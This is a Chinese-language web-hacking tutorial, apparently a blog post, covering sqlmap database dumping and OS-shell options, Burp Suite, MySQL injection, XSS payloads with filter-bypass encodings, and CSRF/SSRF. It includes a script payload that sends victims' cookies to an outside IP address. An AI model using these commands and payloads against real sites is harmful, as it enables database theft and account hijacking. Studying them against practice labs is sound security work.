第三章sqlmap
(1) 安装sqlmap前,需要先安装Python3.X
Python Releases for Windows | Python.org
(2) 在环境变量path中,增加python3.x 安装路径
(3) 下载sqlmap并解压缩:
地址:sqlmap: automatic SQL injection and database takeover tool
Python sqlmap.py -u http://xxx.xxx.xxx/
Python sqlmap.py –help 查看帮助 borp
sqlmap支持五种不同的注入模式:
- UNIOn query SQL injection(可联合查询注入)
- uError-based SQL injection(报错型注入)
- uBoolean-based blind SQL injection(布尔型注入)
- uTime-based blind SQL injection(基于时间延迟注入)
- uStacked queries SQL injection(可多语句查询注入)
2.sqlmap 常用命令参数
-u /--url 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”
-m 从文本中获取多个目标扫描,但是每一个一个url. sqlmap -m urllist.txt
-r 从文件中加载HTTP请求,这样的话就不需要再去设定cookie,POST数据….
--dbs 返回当前连接的数据库
--current-db 返回当前网站数据库的数据库用户
-D 指定数据库系统的数据库名
--tables 列举数据库表
-T 指定数据库表名
--columns 列举数据库表中的字段
-C 指定数据库表中的字段名
--dump 获取整个表的数据
3.设置回显等级
参数: -v默认为1
0 只显示python错误以及严重的信息
1 基本信息和警告信息
2 debug信息
3 注入的payload
(级别越高显示信息越多)
4同时显示HTTP请求。
5同时显示HTTP响应头。
6同事显示HTTP响应页面。
--data 把数以post方式提交,sqlmap会像检测GET参数一样检测POST过去的参数。
--cookie (用于区分用户)
可能会有漏洞,当web登录时,抓取数据包。
4.设置HTTP数据包相关参数
HTTP User-Agent 头
参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。
sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs
sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞
5.设定探测等级:--level
共有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到
--users 列数据库管理用户
--current-user 在数据库中,目前连接的用户
--is-dba 判断当前是否为管理,是的话返回true
--proxy 指定一个代理服务器 eg: -proxy http://xxxxxx.8080
--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限
6.Sqlmap“六步”
第一步:判断是否注是注入点
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”
检测该网站是否存在漏洞 白色加粗字体为注入点 也就是攻击对象
第二步:获取数据库
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs
第三步:查看当前应用程序所用数据库
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --current-db
四:列出指定数据库的所有表
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security(目标数据库)”—tables
五:读取指定表中的字段名称
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users –colunms
六:读取指定字段内容
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users -C username,password –dump(dump=下载,脱库)
判断当前数据库用户权限:
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --is-dba
如果是TRUE ,那么权限该用户很大。
-roles 列出数据库管理员角色
如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles
-referer HTTPReferer头
当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net
-sql-shell 运行自定义的sql语句
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell
运行任意操作系统命令:
选择后台语言
sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami
--os-cmd=whoami
--os-shell
(以你的电脑为跳板,对局域网进行渗透,或留后门)
--file-read 从数据库服务器中读取文件 :当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
上传文件到数据库服务器中:
--file-write
--file-dest
读取指定数据库用户的密码
sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root
SQLMAP进阶 常用tamper脚本
apostrophemask.py 将引号替换为utf-8,用于过滤单引号 (易容术)
适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:tamper("1 AND '1'='1")
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
multiplespaces.py 围绕sql关键字添加多个空格 去绕过
适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:tamper('1 UNIOn SELECt foobar')
使用脚本后:1 UNIOn SELECT foobar
3. Burp Suite工具
一.配置及代理设置
1.使用前配置
①选择代理Proxy选项卡
②选择设置option选项卡
③Edit Running打勾 124.0.0.1:8080
配置成功
历史访问
二.功能模块讲解
模块介绍
send to spider 发送给爬虫模块
do a active scan 进行一次主动扫描
send to intruder 发送给爆破模块
send to repearter 发送给重放模块
send to comparer 发送给比对模块
send to decoder 发送给解码模块
request in browser 将请求在浏览器重放
四:MYSQL与SQL注入
mysql知识点- 基本查询语句
- 查询表中全部信息: select *from 表明-关键的函数
select+以下语句
version() 数据库版本
database() 数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本
-order by(排序) 语法
-联合查询
order by 1—
order by 2—确定字段数
使用UNIOn操作符注入另外一个select查询,并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据
注意: 相同的列结构
需要有知道表结构,列结构
exists()函数猜解表明
information_schema 是一个mysql系统自带的元数据库
information_schema.SCHEMATA 查看所有的数据库
五、 XSS基础
1、什么是XSS?
中文名为跨站脚本攻击,跨站脚本,(Cross-Site scripting, XSS),当目标网站用户在渲染HTML文档的过程中,出现非预期的脚本指令并执行时,XSS就发生了。
2、攻击者给予应用恶意XSS代码,导致用户访问应用或服务器时执行代码,导致被XSS攻击。
攻击者→服务器→用户(xss是一种迫使Web站点回显可执行代码的攻击技术,而这些可执行代码由攻击者提供、最终为用户浏览器加载)
3、XSS的危害: 1.网络钓鱼,包括盗取各类用户的账号
2.窃取用户cookies资料,从而获取用户信息。
3.获取客户端信息,IP/端口等
4.劫持用户浏览器会话,从而执行任意操作
5.强制弹出窗口。
6.网页挂马,进行恶意操作
7.进行大量的客户端攻击 如DDoS攻击
8.控制受害者机器向其他客户端攻击
4、XSS分类
①反射型 :非持久型,调取用户cookie或者进行钓鱼,常常为通过引诱用户点击一个恶意链接来实施攻击。
(特点:
① 主要用于将恶意脚本附加到URL地址的参数中
② 只在用户单击url时触发,而且只执行一次,非持久化
③常用来窃取客户端 cookies
或进行钓鱼欺骗.
④常常为通过引诱用户点击一
个恶意链接来实施攻击的)
name为可控参数
我们可以通过执行恶意代码弹窗,那么也能做些对我们有利的事情。
当我们构造好了如下恶意代码,发送给受害者。
<script>alert(document.cookie)</script>
将会弹出用户的cookie值,我们构造js代码,将该cookie值发送至我们自己的服务器,或者用XSS平台接收该cookie(例如https://xsshs.cn/),我们就能通过该cookie非法登录受害者的账户。
②存储型 :渗透 挂马 蠕虫病毒 出现在网站的留言、评论、日志等交互处,被存储在数据库或者客户端中,等再次浏览时受到攻击。
(特点:① 恶意代码被保存到目标网站的服务器中,每次用户访问时都会执行脚本代码,这种攻击具有较强的稳定性和持久性
② 比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全.
③ 一般出现在网站的留言、评论、日志等交互处,)
页面原理:
POST提交数据,生成、读取文本模拟数据库,
提交数据之后页面会将数据写入sql.txt,
再打开页面时会读取sql.txt中内容并显示在网页上,
实现了存储型xss攻击模拟。
当输入恶意代码,即会执行<script>alert('xss')</script>
并且恶意代码会一直存储在服务器,每当有用户访问该页面,即会触发恶意代码
- 利用XSS弹出恶意警告框
<script>alert('hacked by cl4y')</script>
- 网页不停刷新
<meta http-equiv= 'refresh' content= '0' > http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=<meta httpequiv= 'refresh' content= '0' >
- 获得cookie
<script>window.location.href='http://118.25.14.40:8200/?cookie='+document.cookie</script>
- 劫持流量(跳转到你的博客强行吸粉)
<script>window.location.href="http://www.cl4y.top";</script>
③dom型: 将XSS代码嵌入dom文档(每一个网页),通过JS脚本对文档对象进行编辑从而修改页面元素,增加漏洞。
xss平台
1.获取cookie(这是必须的最基本的功能)
2.获取源码(取当前网页的源码)
3.截图(可自己修改为连续截图)
4.……………
https://xss.pt
https://xssaq.com
- XSS利用——无任何过滤
- <scirpt>
<scirpt>alert(1);</script> - <img>
<img src=https://blog.csdn.net/m0_62309510/article/details/1 οnerrοr=alert("xss");> //onerror等事件,可以调用js - <input>
<input οnfοcus="alert('xss');" autofocus> - <svg>
<svg οnlοad=alert("xss");> - <iframe>
<iframe οnlοad=alert("xss");></iframe>
<iframe src=https://blog.csdn.net/m0_62309510/article/details/javascript:alert('xss');></iframe> //src中支持伪协议 - <textarea>
<textarea οnfοcus=alert("xss"); autofocus>
- <scirpt>
- 往往用户可控的参数都进行了过滤,不会让你用一个<script>标签就轻易攻击成功
<script>shellcode</script>
XXS绕过:
- 关键字绕过
- 空格绕过
- 用/代替空格 <img/src="x"/οnerrοr=alert("xss");>
- 关键字绕过
- 大小写绕过 <ImG src=https://blog.csdn.net/m0_62309510/article/details/x onerRor=alert("xss");>
- 利用其他标签
- 双写关键字 <imimgg srsrcc=x οnerrοr=alert("xss");>
- 字符拼接 <img src="https://blog.csdn.net/m0_62309510/article/details/x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<script>top["al"+"ert"](`xss`);</script>
- 利用函数进行编码绕过
- Unicode绕过
<img src="https://blog.csdn.net/m0_62309510/article/details/x" οnerrοr="eval('alert("xss");')"> 利用函数进行编码绕过 - ASCII码
<img src="https://blog.csdn.net/m0_62309510/article/details/x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> - Hex绕过
<img src=https://blog.csdn.net/m0_62309510/article/details/x οnerrοr=eval('x61x6cx65x72x74x28x27x78x73x73x27x29')> - base64编码
<img src="https://blog.csdn.net/m0_62309510/article/details/x" οnerrοr="eval(atob('YWxlcnQoJ3hzcycp'))">
<iframe src="https://blog.csdn.net/m0_62309510/article/details/data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
- Unicode绕过
- 空格绕过
- 过滤括号
- 当括号被过滤的时候可以使用throw来绕过
<svg/οnlοad="window.οnerrοr=eval;throw'=alertx281x29';"> //异常处理 - 反引号
<img src=https://blog.csdn.net/m0_62309510/article/details/x οnerrοr=alert`1`>
- 当括号被过滤的时候可以使用throw来绕过
- 过滤双引号,单引号
- 反引号
<img src=https://blog.csdn.net/m0_62309510/article/details/1 οnerrοr=alert`1`;>
- 反引号
- js事件
- 当某个位置的可控点在一个标签内,那么或许可以通过js事件来完成xss操作
- <img src=https://blog.csdn.net/m0_62309510/article/details/1 οnerrοr=alert`1`;>
- 混淆:
利用html标签格式的不严格、容错性。- 关键字中加空格
- 加TAB
- 回车
url编码
<img src="https://blog.csdn.net/m0_62309510/article/details/x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="https://blog.csdn.net/m0_62309510/article/details/data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
六.Cref漏洞
1,漏洞介绍: 一种对网站的恶意使用。与 xss相比不大流行(因此对其防范相当稀少,比xss更加具有危险性。
原理:利用目标用户身份,以目标用户名义执行非法操作(以目标用户名义发邮件,消息,盗取目标账号,购买商品,虚拟货币转账等),会泄露目标用户的财产安全。
Ps:(CSRF漏洞经常用来制作蠕虫攻击,刷SEO流量)
靶场实战:漏洞分析:
:
Ssrf漏洞:是一种由攻击者构造请求,由服务器发起请求的安全漏洞。与csrf最大的区别是一个是服务器,一个是由客户端发起的。
在域名后增加url=语句,从而利用ssrf漏洞篡改脚本访问的地址。
攻击方式如下:
A,对外网,服务器所在的内网,本地进行端口扫描,获取的banner信息。
B,攻击运行在内网或本地的应用程序。
C,对内网web应用进行指纹识别,识别企业内部的资产信息。
D.攻击内外网的web应用,主要是用HTTP请求就可以实现的攻击(比如struts2,sqli
等等)
E,利用file协议读取本地文件。
SSRF漏洞利用:
测试地址:http://127.0.0.1.1/ssrf.php?Url=http:127.0.0.7/2.php
页面ssrf.php实现的功能获取GET参数URL,然后将url的内容返回网页上。